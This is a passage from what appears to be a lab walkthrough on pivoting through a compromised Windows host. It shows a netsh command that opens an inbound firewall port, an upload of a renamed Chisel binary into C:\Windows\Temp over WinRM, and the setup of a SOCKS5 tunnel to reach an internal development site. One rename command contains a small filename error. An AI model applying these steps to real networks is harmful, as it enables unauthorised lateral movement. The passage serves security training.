02. Pivoting
As before, a port on Thomas' PC needs forwarding so its development website is reachable. Chisel sets up a forward proxy for this.
Open a Port in the Windows Firewall
netsh advfirewall firewall add rule name="Chisel-reapZ" dir=in action=allow protocol=tcp localport=45000
Set Up Chisel
Download the Windows 386 binary (v1.7.5) from https://github.com/jpillora/chisel/releases, unzip and rename it, then upload it over WinRM:
gunzip chisel_1.7.5_windows_386.gz
mv chisel_1.7.5_windows_386.gz chisel-reapZ.exe
upload /Transfers/chisel-reapZ.exe C:\Windows\Temp\chisel-reapZ.exe
Run Chisel
Start the server on the target:
.\chisel-reapZ.exe server -p 45000 --socks5
Then start the client:
chisel client 10.200.105.150:45000 9090:socks
Make sure you're running a version older than 1.8.1, since that version does not work. I used 1.7.5 for this session and it worked fine.
Make sure FoxyProxy is configured and turned on:
If all went well, the development site is reachable at http://10.200.105.100:
Wappalyzer results: